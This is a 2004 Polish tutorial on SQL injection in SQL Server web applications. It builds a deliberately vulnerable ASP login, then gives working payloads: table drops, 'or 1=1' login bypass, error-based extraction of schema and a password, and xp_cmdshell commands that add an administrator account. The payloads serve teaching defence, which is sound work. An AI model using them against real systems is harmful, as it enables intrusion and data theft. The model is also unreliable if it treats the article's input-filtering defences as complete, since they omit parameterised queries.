Microsoft SQL Server

Bezpieczeństwo SQL Server'a — iniekcja kodu Udostępnij na: Facebook

Opublikowano: 17 sierpnia 2004

Autor: Marcin Szeliga

Serwery baz danych narażone są na dwojakiego rodzaju ataki:

  1. Wykorzystujące znane luki lub błędy w konfiguracji serwera exploity — tego typu ataki z reguły automatyzowane są do postaci wirusów lub robaków.
  2. Iniekcję wrogiego kodu — ataki tego typu z reguły wymagają dostosowania do struktury i zawartości konkretnej bazy danych i w praktyce nie są automatyzowane.

Na wykonanie przez nieuprawnionego użytkownika dowolnych instrukcji języka T-SQL szczególnie narażone są serwery baz danych wykorzystywane w aplikacjach internetowych — po nawiązaniu przez serwer WWW sesji z bazą danych możliwe jest przekazanie do bazy danych, zamiast spodziewanych informacji (np. nazwy użytkownika i hasła), dowolnych instrukcji języka T-SQL. Ponieważ takie instrukcje zostaną wykonane w kontekście zabezpieczeń użytego do nawiązania sesji konta użytkownika, nieuprawnione osoby mogą uzyskać niczym nie ograniczony dostęp do SQL Serwera.

Artykuł opisuje techniki iniekcji (zaszycia w przekazywanych parametrach) instrukcji języka T-SQL i sposoby wyeliminowania tego zagrożenia. Ponieważ aktualizacja oprogramowania i skanery antywirusowe nie chronią przed iniekcją kodu, wykorzystujące tę technikę ataki należą do wyjątkowo skutecznych.

*

Anatomia ataku

Żeby skutecznie bronić się przed iniekcją kodu programiści i administratorzy baz danych powinni znać techniki jego przeprowadzania — wymaga to podstawowej wiedzy o samym języku T-SQL i sposobach nawiązywania sesji przez programy klienckie.

Język Transact SQL

Transact-SQL jest zmodyfikowaną i uzupełnioną o elementy typowe dla proceduralnych języków programowania (jak zmienne i instrukcje sterujące wykonaniem programu) wersją zdefiniowanego przez Amerykański Narodowy Instytut Standardów (ANSI) i Międzynarodową Organizację Standardów (ISO) standardu SQL-92. Wszystkie programy klienckie, z wyjątkiem wykorzystujących technologie XML, komunikują się z bazami danych wykonując instrukcje tego języka.

Transact-SQL-a umożliwia:

  1. Wyszukiwanie danych.
  2. Modyfikowanie (wstawianie, aktualizowanie i usuwanie) danych.
  3. Definiowanie schematu (tworzenie, modyfikowanie oraz usuwanie tabel, widoków, procedur, funkcji i indeksów) bazy danych .
  4. Zarządzanie dostępem (tworzenie, modyfikowanie i usuwanie kont użytkowników oraz grup, określanie uprawnień do wykonania określonych operacji i do określonych obiektów) do przechowywanych w bazie danych.
  5. Uzyskiwanie, poprzez procedury rozszerzone, dostępu do zasobów komputera na którym działa SQL Serwer.

Instrukcją nazywam każdy poprawny syntaktycznie zbiór znaczników języka Transact-SQL. Instrukcje Transact-SQL zawsze zaczynają się poleceniem (znacznikiem lub grupą znaczników określających jaka operacja ma zostać wykonana). Instrukcje zwykle zawierają przynajmniej jedną klauzulę; klauzule są formalnymi modyfikatorami dookreślającymi wykonywaną operację.

SQL Serwer interpretuje instrukcje języka Transact-SQL jako sekwencję znaczników, zwykle rozdzielonych spacjami lub znakami nowego wiersza. Znacznik jest zastrzeżonym słowem lub znakiem języka.

Znacznik może być słowem kluczowym, identyfikatorem, stałą, dyrektywą wsadową lub jednym z kilku symboli specjalnych:

  • Słowa kluczowe to ciągi, które SQL Server rozpoznaje jako wyrazy o ściśle określonym znaczeniu. Należą do nich:

    • instrukcje Transact-SQL (np. SELECT, INSERT, UPDATE, DELETE, TRUNCATE, CREATE, ALTER, DROP, GRANT, DENY, REVOKE),
    • klauzule (np. FROM, WHERE, GROUP BY, HAVING),
    • nazwy funkcji i procedur systemowych (np. MIN , XP_CMDSHELL)
  • Identyfikatory to nazwy tabel, kolumn i innych obiektów baz danych. Identyfikatorami mogą być wartości zmiennych.

  • Stałe, w przeciwieństwie do słów kluczowych i identyfikatorów, opisują dane, które są interpretowane dosłownie, na przykład liczby lub ciągi znakowe.

  • Dyrektywy wsadowe (GO i EXECUTE) służą do sterowania wykonaniem instrukcji języka Transact-SQL.

  • Symbole specjalne są zastrzeżonymi znakami (takimi jak apostrofy, znaki komentarza, nawiasy czy średnik), które logicznie wpływają na znaczenie i rozmieszczenie słów kluczowych, identyfikatorów i stałych. Symbole specjalne pełnią rolę znaków interpunkcyjnych języka Transact-SQL. Do symboli specjalnych zalicza się również operatory używane do oznaczania operacji lub wyliczeń logicznych pomiędzy wartościami danych (literałami lub wartościami reprezentowanymi przez identyfikatory).

Iniekcja polega na takim użyciu znaczników (przede wszystkim myślników i apostrofów) w wyniku którego serwer zamiast oryginalnej wykona zmodyfikowaną instrukcję języka T-SQL.

Sesje klienckie

Zanim działające po stronie serwera WWW programy będą mogły wykonać jakąkolwiek instrukcję języka T-SQL muszą nawiązać sesję z wybraną bazą danych. Wymaga to od nich potwierdzenia (albo poprzez przesłanie sprawdzanego przez SQL Serwer loginu i hasła albo posłużenia się zweryfikowaną przez system Windows nazwą użytkownika) własnej tożsamości. W najprostszym przypadku działający po stronie serwera program zawiera pokazany poniżej fragment kodu

<%

Dim sgl, conn, rs

Set conn = Server.CreateObject("ADODB.Connection")

conn.Open "DRIVER={SQL Server};SERVER=SQLSerwer;UID=sa;PWD=Hasło;DATABASE=Northwind"

sql = "SELECT * FROM Pracownicy WHERE login = '" + txtLogin + "' and txtHaslo = '" + txtHaslo +"'"

Set rs = conn.Execute(sql)

%>

Kluczowe dla bezpieczeństwa są dwa elementy:

  1. Po pierwsze, do nawiązania sesji wykorzystany został należący do roli SysAdmin login sa a więc wszystkie przesłane w ramach tej sesji instrukcję języka T-SQL wykonane zostaną w kontekście zabezpieczeń administratora serwera baz danych,
  2. Po drugie, wykonywana instrukcja języka T-SQL zawiera apostrofy (w języku T-SQL ciągi znaków umieszczane są w apostrofach).

Iniekcja kodu

Użytkownik przykładowej aplikacji internetowej może zamiast nazwy użytkownika (zmienna txtLogin) zaszyć we wpisywanym ciągu znaków instrukcję języka T-SQL. Jeżeli rezultatem będzie poprawna instrukcja, to zostanie ona wykonana z uprawnieniami administratora serwera baz danych.

Punktem wyjścia naszej analizy będzie instrukcja SELECT wykonana w przypadku nie podania ani nazwy użytkownik ani hasła:

SELECT * FROM Pracownicy WHERE login = '' and haslo = ''

Gdyby zamiast nazwy użytkownika w zmiennej txtLogin został zapisany ciąg znaków 'drop table dane--SQL Serwer wykonałby następujące instrukcje:

SELECT * FROM Pracownicy WHERE login = ''drop table Dane--' and txtHaslo = ''

Dzięki apostrofowi wpisane wyrażenie zostanie zinterpretowane zamiast zostać potraktowane jako ciąg znaków, a więc instrukcja drop table Dane (język T-SQL ignoruje znak końca wiersza) zostanie pomyślnie wykonana. Bez tego apostrofa do serwera baz danych wysłane zostałby następujące instrukcje:

SELECT * FROM Pracownicy WHERE login = 'drop table Dane--' and txtHaslo = ''

a więc wroga instrukcja zostałby użyta do przeszukania tabeli Pracownicy.

Ponieważ wszystkie znaki znajdujące się po prawej stronie znaku komentarza (w języku T-SQL znakiem komentarza są dwa myślniki) są ignorowane, SQL Serwer wykona poprawną instrukcję drop table dane, a nie błędną drop table dane ' and txtHaslo = ''. Próba wykonania tej ostatniej skończyłaby się następującym komunikatem błędu:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'txtHaslo'.

Umiejętne posługiwanie się apostrofem i myślnikami wystarczą atakującemu do wykonywania dowolnych instrukcji języka T-SQL.

Na przykład, aby odczytać całą zawartość tabeli bazowej wystarczy zamiast nazwy użytkownika wpisać ciąg znaków 'or 1=1--. W efekcie wykonana zostałaby poniższa instrukcja:

SELECT * FROM Pracownicy WHERE login = ''or 1=1--' and txtHaslo = ''

Ponieważ wartość jednego z argumentów operatora OR (alternatywy logicznej) będzie prawdą (1=1) wartość drugiego (login = '') nie będzie miała wpływu na wynik całego testu.

Zdobywanie informacji

Wyniki pomyślnie wykonanych w przedstawiony sposób instrukcji języka T-SQL nie zostaną przechwycone przez aplikację internetową i zwrócone do atakującego. Nie dotyczy to jednak komunikatów błędów — wymuszając wystąpienie odpowiednich wyjątków atakujący może zdobyć informacje nie tylko o strukturze bazy danych ale również o zawartości tabel.

Wpisując ciąg znaków 'having 1=1-- spowodujemy wykonanie następującej instrukcji i w rezultacie zgłoszenie błędu:

SELECT * FROM Pracownicy WHERE login = ''having 1=1--' and txtHaslo = ''

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Pracownicy.id' is invalid in the 

 select list because it is not contained in an aggregate function and there is no GROUP BY clause.

Atakujący wie już, że tabela bazowa nosi nazwę Pracownicy a jej pierwsza kolumna ma nazwę Id.

Aby poznać nazwę drugiej kolumny wystarczy wpisać ciąg znaków 'group by Pracownicy.id having 1=1--:

SELECT * FROM Pracownicy WHERE login = ''group by Pracownicy.id 

 having 1=1--' and txtHaslo = ''

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Pracownicy.login' is invalid in the 

 select list because it is not contained in either an aggregate function or the GROUP BY clause.

Dodając kolejne kolumny do klauzuli GROUP BY atakujący pozna nazwy wszystkich kolumn tabeli bazowej. W opisywanym przypadku końcowy ciąg znaków wpisany zamiast nazwy użytkownika wyglądałby następująco: 'group by Pracownicy.id, Pracownicy.login, Pracownicy.haslo, Pracownicy.data, Pracownicy.uprawnienia having 1=1--. Ponieważ wykonanie poniższej instrukcji nie spowodowało wystąpienie błędu atakujący wie, że klauzula GROUP BY zawiera wszystkie kolumny tabeli Pracownicy:

SELECT * FROM Pracownicy WHERE login = ''group by Pracownicy.id, Pracownicy.login, 

 Pracownicy.haslo, Pracownicy.data, Pracownicy.uprawnienia having 1=1--' and txtHaslo = ''

Oprócz nazwy kolumny niezbędna jest znajomość jej typu — tą informację atakujący może zdobyć wymuszając wystąpienie błędu konwersji (rzutowania) typów. Na przykład, aby poznać typ kolumny login wystarczy do zmiennej txtLogin przekazać następujący ciąg znaków 'union select sum(login) from Pracownicy--. Wykonanie poniższej instrukcji spowoduje zwrócenie pokazanego komunikatu błędu:

SELECT * FROM Pracownicy WHERE login = ''union select sum(login) from 

 Pracownicy--' and txtHaslo = ''

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take 

 a varchar data type as an argument.

Ponieważ argumentem funkcji SUM muszą być liczby a w kolumnie login zapisane były ciągi znaków, analizując komunikat błędu atakujący pozna typ wskazanej kolumny.

W ten sam sposób atakujący może poznać typ pozostałych kolumn tabeli Pracownicy. Na przykład, przekazanie ciągu znaków 'union select sum(data) from Pracownicy-- spowoduje wykonanie poniższej instrukcji języka T-SQL i zgłoszenie komunikatu błędu:

SELECT * FROM Pracownicy WHERE login = ''union select sum(data) from Pracownicy--' and txtHaslo = ''

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take 

 a datetime data type as an argument.

Gdyby natomiast dana kolumna była typu liczbowego zgłoszony zostałby inny komunikat błędu:

select * from SELECT * FROM Pracownicy WHERE login = ''union select sum(uprawnienia) 

 from Pracownicy--' and txtHaslo = ''

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION 

 operator must have an equal number of expressions in their target lists.

Od tego momentu atakujący może zbierać dowolne informacje o SQL serwerze i zapisanych w nim danych. Na przykład, aby poznać wersję serwera wystarczy przekazać następujący ciąg znaków 'union select @@version,1,1,1,1--. Ponieważ pierwsza kolumna tabeli Pracownicy jest typu liczbowego wykonanie poniższej instrukcji skończy się zgłoszeniem pokazanego komunikatu błędu:

SELECT * FROM Pracownicy WHERE login = ''union select @@version,1,1,1,1--' and txtHaslo = ''

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 

 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 

 Microsoft Corporation Developer Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' to 

 a column of data type int.

Odczytanie zawartości tabeli bazowej będzie niewiele trudniejsze. Na przykład, wpisanie zamiast nazwy użytkownika ciągu znaków 'union select min(login),1,1,1,1 from pracownicy-- da następujące efekty:

SELECT * FROM Pracownicy WHERE login = ''union select min(login),1,1,1,1 from 

 pracownicy--' and txtHaslo = ''

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'adm' 

 to a column of data type int.

Znając login pierwszego użytkownika atakujący może poznać następne — w tym celu wystarczy przekazywać następujący ciąg znaków kolejno zmieniając klauzulę WHERE: 'union select min(login),1,1,1,1 from pracownicy where login > 'adm'--. W efekcie wykonana zostanie zwracająca w komunikacie błędu interesujące atakującego dane instrukcja:

SELECT * FROM Pracownicy WHERE login = ''union select min(login),1,1,1,1 from pracownicy 

 where login > 'adm'--' and txtHaslo = ''

'union select min(login),1,1,1,1 from pracownicy where login > 'adm'--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'test' 

 to a column of data type int.

Znając login użytkownika atakujący może poznać jego hasło. Wynikiem przekazania ciągu znaków 'union select haslo,1,1,1,1 from pracownicy where login = 'adm'-- będzie wykonanie następującej instrukcji:

SELECT * FROM Pracownicy WHERE login = ''union select haslo,1,1,1,1 from pracownicy 

 where login = 'adm'--' and txtHaslo = ''

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'H@sl0' 

 to a column of data type int.

Modyfikowanie danych

Wstawianie, usuwanie i aktualizowanie zapisanych w bazie danych za pomocą zaszytych w przekazywanych wartościach instrukcji języka T-SQL jest jeszcze prostsze. Ponieważ w tym przypadku atakującemu nie zależy na odczytaniu zwracanych przez serwer baz danych komunikatów wystarczy zamiast nazwy użytkownika wpisać poprawną instrukcję. Na przykład, aby wstawić nowy wiersz do tabeli Pracownicy należałby przekazać ciąg znaków 'INSERT INTO Pracownicy (login, haslo, data, uprawnienia) VALUES ('haker', 'TajneHaslo', '2004-1-1', 11111111)--. W rezultacie wykonane zostaną poprawne instrukcje SELECT i INSERT:

SELECT * FROM Pracownicy WHERE login = ''INSERT INTO Pracownicy (LOGIN, HASLO, DATA, 

 UPRAWNIENIA) VALUES ('haker', 'TajneHaslo', '2004-1-1', 11111111)--' and txtHaslo = ''

Dostęp do zasobów komputera

Udany atak na SQL Serwer daje doskonały punkt wyjścia do zaatakowania komputera na którym działa ten serwer. Jeżeli zaszyty kod będzie wykonywany w kontekście zabezpieczeń administratora serwera baz danych to atakujący uzyska uprawniania użytkownika na koncie którego działa SQL Serwer. Ponieważ często spotykanym rozwiązaniem jest uruchamianie serwera baz danych w kontekście zabezpieczeń specjalnego konta SYSTEM atakujący automatycznie uzyskuje niczym nie ograniczony dostęp do komputera. Na przykład, aby utworzyć nowe konto i dodać je do grupy administratorów komputera wystarczy zamiast loginu przekazać kolejno następujące ciągi znaków:

'Exec master..xp_cmdshell 'net user haker TajneHaslo /add'--

'Exec master..xp_cmdshell 'net localgroup administratorzy haker /add'--

 Do początku strony Do początku strony

Zabezpieczenie SQL Serwera

Obrona przed iniekcją wrogiego kodu polega na sprawdzaniu poprawności wprowadzanych przez użytkownika danych.

Walidacja danych powinna być przeprowadzana na kilku poziomach:

  1. Uniemożliwiając użytkownikom programu wpisanie niepoprawnych danych — najprostszy, a jednocześnie najbardziej skuteczny sposób na wyeliminowanie błędów danych. Ten sposób cechuje zerowy czas reakcji programu na próbę wprowadzenia niepoprawnych danych — ich wpisanie jest po prostu niemożliwe.
  2. Sprawdzając poprawność poszczególnych danych — za każdym razem, gdy użytkownik wprowadzi nową informację, weryfikowana jest jej poprawność. Ten sposób cechuje krótki czas reakcji programu na próbę wprowadzenia niepoprawnych danych — bezpośrednio po wpisaniu informacji następuje jej sprawdzenie.
  3. Sprawdzając poprawność wszystkich wpisanych danych — gdy użytkownik poda wszystkie wymagane informacje i, np. kliknie przycisk Wyślij, program kliencki sprawdza ich poprawność. Ten sposób cechuje średni czas reakcji na próbę wprowadzenia niepoprawnych danych — weryfikacja ich poprawności następuje tuż przed ich wysłaniem, dzięki czemu możliwe jest ich porównywanie.
  4. Sprawdzając poprawność przesłanych do bazy danych informacji. Ten sposób cechuje długi czas reakcji programu na próbę wprowadzenia niepoprawnych danych — dopiero po przesłaniu informacji do SQL Serwera i odebraniu ewentualnych komunikatów błędów, użytkownik dowie się, czy np. nie pominął wymaganych informacji.

Tylko ostatni ze sposobów zabezpiecza przed iniekcją kodu — po stronie klienta dane zawsze mogą zostać zmodyfikowane, choćby poprzez samodzielne spreparowanie wysłanych pakietów. Walidacja danych po stronie klienta wpływa tylko i wyłącznie na poprawę wydajności (błędne dane nie są przesyłane przez sieć) i komfort pracy użytkownika (unikamy sytuacji w której po pracowitym wypełnieniu kolejnych pól formularza i kliknięciu przycisku Wyślij na ekranie komputera użytkownika po kilkudziesięciu sekundach wyświetlany jest komunikat błędu i prośba o ponowne wpisanie danych) ale nie zwiększa stopnia bezpieczeństwa.

Zabezpieczyć się przed iniekcją kodu możemy:

  1. Usuwając z danych znaczniki języka T-SQL (a więc modyfikując odebrane dane),
  2. Blokując niepoprawne (tj. zawierające określone znaczniki języka T-SQL) dane,
  3. Zezwalając na przetwarzanie wyłącznie poprawnych (tj. zgodnych ze zdefiniowanym wzorcem danych).
  4. Ukrywając przed końcowym użytkownikiem oryginalne komunikaty błędów. Niezbędnym minimum jest taka konfiguracja serwera WWW w wyniku której standardowe komunikaty błędów są zastępowane wyświetleniem przygotowanej strony WWW.

Modyfikowanie danych

Modyfikowanie wprowadzanych przez użytkowników danych jest najpopularniejszym, ale najmniej skutecznym sposobem zabezpieczenia się przed zaszyciem instrukcji języka T-SQL. Przede wszystkim na podstawie zwracanych komunikatów błędów atakujący może poznać sposób modyfikowania danych i spróbować go „obejść”. Ponadto modyfikowanie danych wiąże się ze zmianą długości ciągu znaków co może prowadzić do niespójności danych. I po trzecie, programista bardzo rzadko jest w stanie ocenić które dane są poprawne — na przykład, czy nazwisko może zawierać apostrofy i myślniki (np. O’Mara i Nowak-Kowalski) ?

Jeżeli jest to możliwe, ze względów bezpieczeństwa należy zrezygnować z używania w ciągach znaków znaczników języka T-SQL, przede wszystkim apostrofów i myślników. Poniższy przykład pokazuje jak za pomocą prostej funkcji (VB.NET) możemy zabezpieczyć się przed opisywanymi atakami:

Function ParzysteApostrofy(ByVal wyrazenie As String)

ParzysteApostrofy = Microsoft.VisualBasic.Replace(wyrazenie, "'", "''")

End Function

Proste zabezpieczenie może zostać w równie prosty sposób ominięte — jeżeli atakujący zorientuje się w jaki sposób modyfikowane są wprowadzane przez niego dane zamiast używać apostrofów posłuży się funkcją Char. Umożliwi mu to nie tylko dodawanie pojedynczych apostrofów (zamiast apostrofu wystarczy wywołać funkcję Char(39)) ale np. wstawienie dowolnych ciągów znaków.

Kolejne funkcje (napisane w językach VB.NET i VBS) usuwają z podanego wyrażenia wszystkie znaki nie będąc literą, cyfrą lub znakiem podkreślenia a więc również powinny zostać wywołane przed wykorzystaniem zmiennych txtLogin i txtHaslo do zbudowania instrukcji języka T-SQL:

Function TylkoTekst(ByVal wyrazenie As String)

Dim wzorzec As New System.Text.RegularExpressions.Regex("\W+")

TylkoTekst = wzorzec.Replace(wyrazenie, "")

End Function



Function TylkoTekst(wyrazenie)

Dim regEx

Set regEx = New RegExp          

regEx.Pattern = "\W+" 

regEx.Global = True         

TylkoTekst = regEx.Replace(wyrazenie, "")

End Function

Należy jednak pamiętać, że modyfikując dane możemy niekorzystnie wpłynąć na działanie mechanizmów blokujących niepoprawne dane — np. jeżeli po sprawdzeniu czy wyrażenie nie zawiera zastrzeżonych instrukcji języka T-SQL usuniemy z niego apostrofy atakujący może przekazać następujący ciąg znaków: dro'p t'able dane--.

Blokowanie niepoprawnych danych

Zamiast usuwać z wprowadzonych danych potencjalnie niebezpieczne znaczniki języka T-SQL i przesyłać do serwera baz danych tak zmodyfikowane ciągi znaków należy zablokować przesyłanie niepoprawnych danych. Takie rozwiązanie powinno być wykorzystane we wszystkich aplikacjach internetowych. Jeżeli wymagany będzie zwiększony poziom bezpieczeństwa należy dodatkowo zezwolić na przetwarzanie wyłącznie poprawnych danych.

Poniższa funkcja (VB.NET) zwraca prawdę jeżeli w podanym ciągu znaków nie występuje apostrof lub myślnik. W przeciwnym wypadku funkcja zwraca fałsz. (W rzeczywistości analogiczna funkcja powinna korzystać albo z kilu wyrażeń regularnych albo z wyrażenia definiującego kilka wzorców, tak aby uniemożliwić nie tylko użycie apostrofa czy myślnika ale również instrukcji i funkcji języka T-SQL, ze szczególnym uwzględnieniem funkcji Char):

Function PoprawneDane(ByVal wyrazenie As String) As Boolean

Dim wzorzec As New System.Text.RegularExpressions.Regex("['-]")

If wzorzec.IsMatch(wyrazenie) Then

Return False

Else

Return True

End If

End Function

Pozwala to na proste sprawdzenie poprawności wprowadzonych przez użytkownika danych:

If PoprawneDane (txtLogin) Then

'kod budujący instrukcje języka T-SQL

Else

Response.Redirect "NiepoprawneDane.aspx"

End If

Dodatkowym zabezpieczeniem powinno być ograniczenie maksymalnej długości wprowadzanego ciągu znaków. Chociaż ta technika nie uniemożliwi przeprowadzenia skutecznego ataku to może go znacznie skomplikować:

If Len (txtLogin) <=15 Then

'kod budujący instrukcje języka T-SQL

Else

Response.Redirect "NiepoprawneDane.aspx"

Skuteczność takiego zabezpieczenia najlepiej opisuje poniższy przykład: gdyby aplikacja ograniczała liczbę zapisywanych w zmiennej txtLogin znaków atakujący mógłby (wpisując 'SHUTDOWN--) zatrzymać serwer baz danych ale nie mógłby go zatrzymać bez zapisania punktu kontrolnego (w tym celu musiałby wpisać 'SHUTDOWN WITH NOWAIT--).

Zezwalanie na przetwarzanie wyłącznie poprawnych danych

Ostatnie rozwiązanie wymaga zdefiniowania wzorca poprawnych danych albo przygotowania listy wszystkich możliwych poprawnych wartości. Z oczywistych względów lista ta nie powinna być przechowywana w tabeli po stronie SQL Serwera tylko np. w dokumencie XML zapisanym na serwerze WWW.

ASP.NET

Programiści ASP.NET do walidacji danych mogą wykorzystać następujące kontrolki serwera WWW:

  1. RequiredFieldValidator — sprawdza, czy użytkownik podał wymaganą wartość ,
  2. RegularExpressionValidator — sprawdza, czy podana wartość jest zgodna z określonym wzorcem,
  3. CompareValidator — porównuje podaną wartość ze zmienną lub stałą,
  4. CustomValidator — przeprowadza dowolny, określony przez użytkownika test,
  5. RangeValidator — sprawdza, czy podana wartość należy do określonego przedziału.

Aby zastąpić oryginalny komunikat błędu aplikacji ASP.NET własnymi wystarczy dodać do pliku Web.config następujący wiersz:

<customErrors mode="On" defaultRedirect="Blad.aspx"/>

gdzie Blad.aspx jest nazwą strony której treść ma być wyświetlona zamiast komunikatu błędu.

 Do początku strony Do początku strony


Marcin Szeliga Marcin Szeliga (MCP+I, MCSE, MCDBA, MCSD, MCT)
Bezpieczeństwem systemów komputerowych zajmuje się od 1994 roku. Od roku 1999 pracuje jako wykładowca i szkoleniowiec prowadząc zajęcia z technologii firmy Microsoft. Jest również autorem kilkunastu książek i podręczników z różnych dziedzin informatyki, w tym kompendium "Bezpieczeństwo w sieciach Windows".
 Do początku strony Do początku strony

Microsoft SQL Server